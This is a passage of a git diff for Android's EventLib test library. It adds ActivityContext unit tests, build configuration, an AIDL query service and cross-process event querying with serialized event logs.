+ assertThat(contextIsActivityContext).isTrue();
+ }
+
+ @Test
+ public void getWithContext_oneArgument_passesFirstArgument() throws Exception {
+ String passedString = ActivityContext.getWithContext(STRING_VALUE, (context, str) -> str);
+
+ assertThat(passedString).isEqualTo(STRING_VALUE);
+ }
+
+ @Test
+ public void getWithContext_twoArguments_passesActivityContext() throws Exception {
+ boolean contextIsActivityContext = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, (context, str, i) -> context != null);
+
+ assertThat(contextIsActivityContext).isTrue();
+ }
+
+ @Test
+ public void getWithContext_twoArguments_passesFirstArgument() throws Exception {
+ String passedString = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, (context, str, i) -> str);
+
+ assertThat(passedString).isEqualTo(STRING_VALUE);
+ }
+
+ @Test
+ public void getWithContext_twoArguments_passesSecondArgument() throws Exception {
+ int passedInt = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, (context, str, i) -> i);
+
+ assertThat(passedInt).isEqualTo(INT_VALUE);
+ }
+
+ @Test
+ public void getWithContext_threeArguments_passesActivityContext() throws Exception {
+ boolean contextIsActivityContext = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, BOOLEAN_VALUE,
+ (context, str, i, b) -> context != null);
+
+ assertThat(contextIsActivityContext).isTrue();
+ }
+
+ @Test
+ public void getWithContext_threeArguments_passesFirstArgument() throws Exception {
+ String passedString = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> str);
+
+ assertThat(passedString).isEqualTo(STRING_VALUE);
+ }
+
+ @Test
+ public void getWithContext_threeArguments_passesSecondArgument() throws Exception {
+ int passedInt = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> i);
+
+ assertThat(passedInt).isEqualTo(INT_VALUE);
+ }
+
+ @Test
+ public void getWithContext_threeArguments_passesThirdArgument() throws Exception {
+ boolean passedBoolean = ActivityContext.getWithContext(
+ STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> b);
+
+ assertThat(passedBoolean).isEqualTo(BOOLEAN_VALUE);
+ }
+
+ @Test
+ public void runWithContext_passesActivityContext() throws Exception {
+ BlockingActivityConsumer callback = new BlockingActivityConsumer();
+
+ ActivityContext.runWithContext(callback);
+
+ assertThat(callback.await()).isTrue();
+ }
+
+ private static final class BlockingActivityConsumer extends BlockingCallback<Boolean> implements
+ Consumer<Activity> {
+ @Override
+ public void accept(Activity activity) {
+ callbackTriggered(activity != null);
+ }
+ }
+
+ @Test
+ public void runWithContext_oneArgument_passesActivityContext() throws Exception {
+ BlockingActivityBiConsumerChecksActivity callback =
+ new BlockingActivityBiConsumerChecksActivity();
+
+ ActivityContext.runWithContext(STRING_VALUE, callback);
+
+ assertThat(callback.await()).isTrue();
+ }
+
+ private static final class BlockingActivityBiConsumerChecksActivity
+ extends BlockingCallback<Boolean> implements BiConsumer<Activity, String> {
+ @Override
+ public void accept(Activity activity, String s) {
+ callbackTriggered(activity != null);
+ }
+ }
+
+ @Test
+ public void runWithContext_oneArgument_passesFirstArgument() throws Exception {
+ BlockingActivityBiConsumerReturnsFirstArgument callback =
+ new BlockingActivityBiConsumerReturnsFirstArgument();
+
+ ActivityContext.runWithContext(STRING_VALUE, callback);
+
+ assertThat(callback.await()).isEqualTo(STRING_VALUE);
+ }
+
+ private static final class BlockingActivityBiConsumerReturnsFirstArgument
+ extends BlockingCallback<String> implements BiConsumer<Activity, String> {
+ @Override
+ public void accept(Activity activity, String s) {
+ callbackTriggered(s);
+ }
+ }
+}
diff --git a/common/device-side/eventlib/Android.bp b/common/device-side/eventlib/Android.bp
index a98bdaa..a4b6fc9 100644
--- a/common/device-side/eventlib/Android.bp
+++ b/common/device-side/eventlib/Android.bp
@@ -1,5 +1,6 @@
android_library {
name: "EventLib",
+ sdk_version: "current",
srcs: [
"src/main/java/**/*.java",
"src/main/aidl/**/I*.aidl",
@@ -7,6 +8,7 @@
static_libs: [
"androidx.test.ext.junit"],
manifest: "src/main/AndroidManifest.xml",
+ min_sdk_version: "26"
}
android_test {
@@ -14,6 +16,19 @@
srcs: [
"src/test/java/**/*.java"
],
- static_libs: ["EventLib", "androidx.test.ext.junit", "ctstestrunner-axt", "truth-prebuilt"],
+ test_suites: [
+ "general-tests",
+ ],
+ static_libs: [
+ "EventLib",
+ "androidx.test.ext.junit",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ "testng", // for assertThrows
+ "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
+ "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
+ ],
+ data: [":EventLibTestApp"],
manifest: "src/test/AndroidManifest.xml",
+ min_sdk_version: "26"
}
\ No newline at end of file
diff --git a/common/device-side/eventlib/AndroidTest.xml b/common/device-side/eventlib/AndroidTest.xml
index 7ff0e4f..92bc28a 100644
--- a/common/device-side/eventlib/AndroidTest.xml
+++ b/common/device-side/eventlib/AndroidTest.xml
@@ -18,6 +18,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="EventLibTest.apk" />
+ <option name="test-file-name" value="EventLibTestApp.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="com.android.eventlib.test" />
diff --git a/common/device-side/eventlib/TEST_MAPPING b/common/device-side/eventlib/TEST_MAPPING
new file mode 100644
index 0000000..c19ccac
--- /dev/null
+++ b/common/device-side/eventlib/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "EventLibTest"
+ }
+ ]
+}
diff --git a/common/device-side/eventlib/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/main/AndroidManifest.xml
index cc4f373..19ce3fa 100644
--- a/common/device-side/eventlib/src/main/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/main/AndroidManifest.xml
@@ -18,6 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.eventlib">
+ <uses-sdk android:minSdkVersion="26" />
<application>
+ <service android:name="com.android.eventlib.QueryService" android:exported="true"/>
</application>
</manifest>
diff --git a/common/device-side/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl b/common/device-side/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
new file mode 100644
index 0000000..27b5ba7
--- /dev/null
+++ b/common/device-side/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
@@ -0,0 +1,64 @@
+package com.android.eventlib;
+
+/**
+ * Service exposed to allow other packages to query logged events in this package.
+ */
+interface IQueryService {
+ /**
+ * Initialise a new query.
+ *
+ * <p>This method must be called before any other interaction with this service.
+ *
+ * <p>The {@code data} must contain a {@code QUERIER} key which contains a serialized instance
+ * of {@code EventQuerier}.
+ */
+ void init(long id, in Bundle data);
+
+ /**
+ * Remote equivalent of {@code EventQuerier#get}.
+ *
+ * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+ * instance of {@code Instant}.
+ *
+ * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+ * {@code Event}.
+ */
+ Bundle get(long id, in Bundle data);
+
+ /**
+ * Remote equivalent of {@code EventQuerier#get} which increments the count of skipped
+ * results for calls to {@link #get}.
+ *
+ * <p>This should be used when the result from {@link #get} does not pass additional filters.
+ *
+ * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+ * instance of {@code Instant}.
+ *
+ * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+ * {@code Event}.
+ */
+ Bundle getNext(long id, in Bundle data);
+
+ /**
+ * Remote equivalent of {@code EventQuerier#next}.
+ *
+ * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+ * instance of {@code Instant}.
+ *
+ * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+ * {@code Event}.
+ */
+ Bundle next(long id, in Bundle data);
+
+ /**
+ * Remote equivalent of {@code EventQuerier#poll}.
+ *
+ * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+ * instance of {@code Instant}, and a {@code TIMEOUT} key which contains a serialized instance
+ * of {@code Duration}.
+ *
+ * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+ * {@code Event}.
+ */
+ Bundle poll(long id, in Bundle data);
+}
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
index 8c779be..40afafb 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -16,6 +16,12 @@
package com.android.eventlib;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.time.Instant;
@@ -38,4 +44,33 @@
public Instant timestamp() {
return mTimestamp;
}
+
+ /**
+ * Serialize the {@link Event} to a byte array.
+ *
+ * <p>The resulting array can be deserialized using {@link #fromBytes(byte[])}.
+ */
+ byte[] toBytes() throws IOException {
+ try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutputStream out = new ObjectOutputStream(bos)) {
+ out.writeObject(this);
+ out.flush();
+ return bos.toByteArray();
+ }
+ }
+
+ /**
+ * Deserialize an {@link Event} from a byte array created using {@link #toBytes()}.
+ */
+ static Event fromBytes(byte[] bytes) throws IOException {
+ try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
+ ObjectInput in = new ObjectInputStream(bis)) {
+ try {
+ return (Event) in.readObject();
+ } catch (ClassNotFoundException e) {
+ throw new IllegalStateException(
+ "Trying to read Event which is not on classpath", e);
+ }
+ }
+ }
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
index f94dd9b..2caade2 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -50,6 +50,6 @@
mEvent.mPackageName = mContext.getPackageName();
mEvent.mTimestamp = Instant.now();
- Events.EVENTS.log(mEvent);
+ Events.getInstance(mContext).log(mEvent);
}
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
index 29cfd5b..b881af9 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -18,20 +18,15 @@
import android.util.Log;
+import java.io.Serializable;
import java.time.Duration;
import java.time.Instant;
/** Interface to interact with the results of an {@link EventLogsQuery}. */
-public abstract class EventLogs<E extends Event> {
+public abstract class EventLogs<E extends Event> implements Serializable {
static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
- private static Instant sEarliestLogTime = null;
-
- /** Returns the specific implementation of {@link Event} being queried for. */
- protected abstract Class<E> eventClass();
-
- /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
- protected abstract boolean filter(E event);
+ static Instant sEarliestLogTime = Instant.now();
/**
* Returns the {@link EventQuerier} to be used to interact with the
@@ -100,4 +95,29 @@
return poll(DEFAULT_POLL_TIMEOUT);
}
+ /**
+ * Gets the earliest logged event matching the query which has not be returned by a previous
+ * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+ *
+ * <p>This will timeout after {@code timeout} and throw an {@link AssertionError} if no
+ * matching event is logged.
+ */
+ public E pollOrFail(Duration timeout) {
+ E event = poll(timeout);
+ if (event == null) {
+ throw new AssertionError("No event was found before timeout");
+ }
+ return event;
+ }
+
+ /**
+ * Gets the earliest logged event matching the query which has not be returned by a previous
+ * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+ *
+ * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and throw an {@link AssertionError}
+ * if no matching event is logged.
+ */
+ public E pollOrFail() {
+ return pollOrFail(DEFAULT_POLL_TIMEOUT);
+ }
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
index fc16085..26775dc 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -16,9 +16,11 @@
package com.android.eventlib;
-import android.content.Context;
+import android.os.UserHandle;
-import androidx.test.platform.app.InstrumentationRegistry;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.function.Function;
/**
* Interface to provide additional restrictions on an {@link Event} query.
@@ -26,10 +28,6 @@
public abstract class EventLogsQuery<E extends Event, F extends EventLogsQuery>
extends EventLogs<E> {
- // We can do this as we expect to only query when running inside instrumentation
- private static final Context CONTEXT =
- InstrumentationRegistry.getInstrumentation().getContext();
-
/**
* Default implementation of {@link EventLogsQuery} used when there are no additional query
* options to add.
@@ -47,14 +45,14 @@
private final Class<E> mEventClass;
private final String mPackageName;
+ private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+ private transient UserHandle mUserHandle = null; // null is default, meaning current user
protected EventLogsQuery(Class<E> eventClass, String packageName) {
if (eventClass == null || packageName == null) {
throw new NullPointerException();
}
- if (!packageName.equals(CONTEXT.getPackageName())) {
- throw new IllegalArgumentException("Only events in the current package can be queried");
- }
+ mQuerier = new RemoteEventQuerier<>(packageName, this);
mEventClass = eventClass;
mPackageName = packageName;
}
@@ -64,16 +62,51 @@
return mPackageName;
}
- @Override
protected Class<E> eventClass() {
return mEventClass;
}
- // Currently we only support local events - this will need to be replaced when we support more
- private final EventQuerier<E> mQuerier = new LocalEventQuerier<>(this);
+ private final transient EventQuerier<E> mQuerier;
@Override
protected EventQuerier<E> getQuerier() {
return mQuerier;
}
+
+ /** Apply a lambda filter to the results. */
+ public F filter(Function<E, Boolean> filter) {
+ filters.add(filter);
+ return (F) this;
+ }
+
+ /**
+ * Returns true if {@code E} matches custom and default filters for this {@link Event} subclass.
+ */
+ protected final boolean filterAll(E event) {
+ if (filters != null) {
+ // Filters will be null when called remotely
+ for (Function<E, Boolean> filter : filters) {
+ if (!filter.apply(event)) {
+ return false;
+ }
+ }
+ }
+ return filter(event);
+ }
+
+ /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
+ protected abstract boolean filter(E event);
+
+ /** Query a package running on another user. */
+ public F onUser(UserHandle userHandle) {
+ if (userHandle == null) {
+ throw new NullPointerException();
+ }
+ mUserHandle = userHandle;
+ return (F) this;
+ }
+
+ UserHandle getUserHandle() {
+ return mUserHandle;
+ }
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
index f7a0227..38c1543 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -16,6 +16,16 @@
package com.android.eventlib;
+import android.content.Context;
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.time.Instant;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@@ -25,24 +35,107 @@
/** Event store for the current package. */
class Events {
+ private static final String TAG = "Events";
+ private static final String EVENT_LOG_FILE_NAME = "Events";
+ private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
+ private static final int BYTES_PER_INT = 4;
+
/** Interface used to be informed when new events are logged. */
interface EventListener {
void onNewEvent(Event e);
}
- public static final Events EVENTS = new Events();
+ private static Events mInstance;
- private Events() {
+ static Events getInstance(Context context) {
+ if (mInstance == null) {
+ synchronized (Events.class) {
+ if (mInstance == null) {
+ mInstance = new Events(context.getApplicationContext());
+ mInstance.initialiseFiles();
+ }
+ }
+ }
+ return mInstance;
+ }
+ private final Context mContext; // ApplicationContext
+ private FileOutputStream mOutputStream;
+
+ private Events(Context context) {
+ this.mContext = context;
+ }
+
+ private void initialiseFiles() {
+ loadEventsFromFile();
+ try {
+ mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+ // We clear the file and write the logs again so we can exclude old logs
+ // This avoids the file growing without limit
+ writeAllEventsToFile();
+ } catch (FileNotFoundException e) {
+ throw new IllegalStateException("Could not write event log", e);
+ }
+ }
+
+ private void loadEventsFromFile() {
+ Instant now = Instant.now();
+ try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
+ Event event = readEvent(fileInputStream);
+
+ while (event != null) {
+ if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
+ continue;
+ }
+ mEventList.add(event);
+ event = readEvent(fileInputStream);
+ }
+ } catch (FileNotFoundException e) {
+ // Ignore this exception as if there's no file there's nothing to load
+ } catch (IOException e) {
+ Log.e(TAG, "Error when loading events from file", e);
+ }
+ }
+
+ private void writeAllEventsToFile() {
+ for (Event event : mEventList) {
+ writeEventToFile(event);
+ }
+ }
+
+ private Event readEvent(FileInputStream fileInputStream) throws IOException {
+ if (fileInputStream.available() < BYTES_PER_INT) {
+ return null;
+ }
+ byte[] sizeBytes = new byte[BYTES_PER_INT];
+ fileInputStream.read(sizeBytes);
+
+ int size = ByteBuffer.wrap(sizeBytes).getInt();
+
+ byte[] eventBytes = new byte[size];
+ fileInputStream.read(eventBytes);
+
+ return Event.fromBytes(eventBytes);
}
/** Saves the event so it can be queried. */
void log(Event event) {
- // TODO: This should probably be synchronized to avoid race conditions
+ Log.d(TAG, event.toString());
- mEventList.add(event);
+ mEventList.add(event); // TODO: This should be made immutable before adding
+ writeEventToFile(event);
triggerEventListeners(event);
- // TODO: Serialize in case the process crashes
+ }
+
+ private void writeEventToFile(Event event) {
+ try {
+ byte[] eventBytes = event.toBytes();
+ mOutputStream.write(
+ ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+ mOutputStream.write(eventBytes);
+ } catch (IOException e) {
+ throw new IllegalStateException("Error writing event to log", e);
+ }
}
private final List<Event> mEventList = new ArrayList<>();
@@ -57,12 +150,16 @@
/** Register an {@link EventListener} to be called when a new {@link Event} is logged. */
public void registerEventListener(EventListener listener) {
- mEventListeners.add(listener);
+ synchronized (Events.class) {
+ mEventListeners.add(listener);
+ }
}
private void triggerEventListeners(Event event) {
- for (EventListener listener : mEventListeners) {
- listener.onNewEvent(event);
+ synchronized (Events.class) {
+ for (EventListener listener : mEventListeners) {
+ listener.onNewEvent(event);
+ }
}
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
index 8780563..ff46782 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -16,7 +16,7 @@
package com.android.eventlib;
-import android.util.Log;
+import android.content.Context;
import java.time.Duration;
import java.time.Instant;
@@ -28,26 +28,32 @@
/**
* Implementation of {@link EventQuerier} which queries data about the current package.
*/
-public class LocalEventQuerier<E extends Event> implements EventQuerier<E>, Events.EventListener {
- private final EventLogs<E> mEventLogs;
- private final BlockingDeque<Event> mEvents;
+public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
+ private final EventLogsQuery<E, F> mEventLogsQuery;
+ private final Events mEvents;
+ private final BlockingDeque<Event> mFetchedEvents;
+ private int skippedGet = 0;
- LocalEventQuerier(EventLogs<E> eventLogs) {
- mEventLogs = eventLogs;
- mEvents = new LinkedBlockingDeque<>(Events.EVENTS.getEvents());
- Events.EVENTS.registerEventListener(this);
+ LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
+ mEventLogsQuery = eventLogsQuery;
+ mEvents = Events.getInstance(context);
+ mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
+ mEvents.registerEventListener(this);
}
@Override
public E get(Instant earliestLogTime) {
- for (Event event : Events.EVENTS.getEvents()) {
- if (mEventLogs.eventClass().isInstance(event)) {
+ int skipped = 0;
+ for (Event event : mEvents.getEvents()) {
+ if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
+ } else if (skipped++ < skippedGet) {
+ continue;
}
E typedEvent = (E) event;
- if (mEventLogs.filter(typedEvent)) {
+ if (mEventLogsQuery.filterAll(typedEvent)) {
return typedEvent;
}
}
@@ -55,18 +61,29 @@
return null;
}
+ /**
+ * Same as {@link #get(Instant)} but incremements the number of skipped results.
+ *
+ * <p>This should be used when the current result from {@link #get(Instant)} does not pass
+ * additional filters.
+ */
+ public E getNext(Instant earliestLogTime) {
+ skippedGet += 1;
+ return get(earliestLogTime);
+ }
+
@Override
public E next(Instant earliestLogTime) {
- while (!mEvents.isEmpty()) {
- Event event = mEvents.removeFirst();
+ while (!mFetchedEvents.isEmpty()) {
+ Event event = mFetchedEvents.removeFirst();
- if (mEventLogs.eventClass().isInstance(event)) {
+ if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
}
E typedEvent = (E) event;
- if (mEventLogs.filter(typedEvent)) {
+ if (mEventLogsQuery.filterAll(typedEvent)) {
return typedEvent;
}
}
@@ -81,9 +98,8 @@
Event event = null;
try {
Duration remainingTimeout = Duration.between(Instant.now(), endTime);
- event = mEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
+ event = mFetchedEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
} catch (InterruptedException e) {
- Log.e("LocalInternalEventQuerier", "Interrupted waiting for event", e);
return null;
}
@@ -92,13 +108,13 @@
return null;
}
- if (mEventLogs.eventClass().isInstance(event)) {
+ if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
}
E typedEvent = (E) event;
- if (mEventLogs.filter(typedEvent)) {
+ if (mEventLogsQuery.filterAll(typedEvent)) {
return typedEvent;
}
}
@@ -107,6 +123,6 @@
@Override
public void onNewEvent(Event event) {
- mEvents.addLast(event);
+ mFetchedEvents.addLast(event);
}
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
new file mode 100644
index 0000000..4efd3ce
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Implementation of {@link IQueryService}.
+ */
+public final class QueryService extends Service {
+
+ public static final String EARLIEST_LOG_TIME_KEY = "EARLIEST_LOG_TIME";
+ public static final String QUERIER_KEY = "QUERIER";
+ public static final String EVENT_KEY = "EVENT";
+ public static final String TIMEOUT_KEY = "TIMEOUT";
+
+ private static class QueryClient {
+ final EventLogsQuery<?, ?> query;
+ final LocalEventQuerier<?, ?> querier;
+
+ public QueryClient(EventLogsQuery<?, ?> query, LocalEventQuerier<?, ?> querier) {
+ this.query = query;
+ this.querier = querier;
+ }
+ }
+
+ private final IQueryService.Stub binder = new IQueryService.Stub() {
+
+ // Map of all initialised clients, to keep track of progress when using poll/next
+ private final ConcurrentHashMap<Long, QueryClient> clients = new ConcurrentHashMap<>();
+
+ @Override
+ public void init(long id, Bundle data) {
+ EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
+ LocalEventQuerier<?, ?> querier =
+ new LocalEventQuerier<>(getApplicationContext(), query);
+
+ clients.put(id, new QueryClient(query, querier));
+ }
+
+ @Override
+ public Bundle get(long id, Bundle data) {
+ Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+ Event e = clients.get(id).querier.get(earliestLogtime);
+ return prepareReturnBundle(e);
+ }
+
+ @Override
+ public Bundle getNext(long id, Bundle data) {
+ Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+ Event e = clients.get(id).querier.getNext(earliestLogtime);
+ return prepareReturnBundle(e);
+ }
+
+ @Override
+ public Bundle next(long id, Bundle data) {
+ Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+ Event e = clients.get(id).querier.next(earliestLogtime);
+ return prepareReturnBundle(e);
+ }
+
+ @Override
+ public Bundle poll(long id, Bundle data) {
+ Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+ Duration timeoutDuration = (Duration) data.getSerializable(TIMEOUT_KEY);
+ Event e = clients.get(id).querier.poll(earliestLogtime, timeoutDuration);
+ return prepareReturnBundle(e);
+ }
+
+ private Bundle prepareReturnBundle(Event event) {
+ Bundle responseBundle = new Bundle();
+ if (event != null) {
+ responseBundle.putSerializable(EVENT_KEY, event);
+ }
+
+ return responseBundle;
+ }
+ };
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return binder;
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
new file mode 100644
index 0000000..26c9f97
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import static android.content.Context.BIND_AUTO_CREATE;
+
+import static com.android.eventlib.QueryService.EARLIEST_LOG_TIME_KEY;
+import static com.android.eventlib.QueryService.EVENT_KEY;
+import static com.android.eventlib.QueryService.QUERIER_KEY;
+import static com.android.eventlib.QueryService.TIMEOUT_KEY;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import java.time.Duration;
+import java.time.Instant;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link EventQuerier} used to query a single other process.
+ */
+public class
+ RemoteEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E> {
+
+ private static final int CONNECTION_TIMEOUT_SECONDS = 30;
+ private static final String LOG_TAG = "RemoteEventQuerier";
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+
+ private final String mPackageName;
+ private final EventLogsQuery<E, F> mEventLogsQuery;
+ // Each client gets a random ID
+ private final long id = UUID.randomUUID().getMostSignificantBits();
+
+ public RemoteEventQuerier(String packageName, EventLogsQuery<E, F> eventLogsQuery) {
+ mPackageName = packageName;
+ mEventLogsQuery = eventLogsQuery;
+ }
+
+ private final ServiceConnection connection =
+ new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName className, IBinder service) {
+ mQuery.set(IQueryService.Stub.asInterface(service));
+ mConnectionCountdown.countDown();
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName className) {
+ Log.i(LOG_TAG, "Service disconnected from " + className);
+ }
+ };
+
+ @Override
+ public E get(Instant earliestLogTime) {
+ ensureInitialised();
+ Bundle data = createRequestBundle();
+ try {
+ Bundle resultMessage = mQuery.get().get(id, data);
+ E e = (E) resultMessage.getSerializable(EVENT_KEY);
+ while (e != null && !mEventLogsQuery.filterAll(e)) {
+ resultMessage = mQuery.get().getNext(id, data);
+ e = (E) resultMessage.getSerializable(EVENT_KEY);
+ }
+ return e;
+ } catch (RemoteException e) {
+ throw new AssertionError("Error making cross-process call", e);
+ }
+ }
+
+ @Override
+ public E next(Instant earliestLogTime) {
+ ensureInitialised();
+ Bundle data = createRequestBundle();
+ try {
+ Bundle resultMessage = mQuery.get().next(id, data);
+ E e = (E) resultMessage.getSerializable(EVENT_KEY);
+ while (e != null && !mEventLogsQuery.filterAll(e)) {
+ resultMessage = mQuery.get().next(id, data);
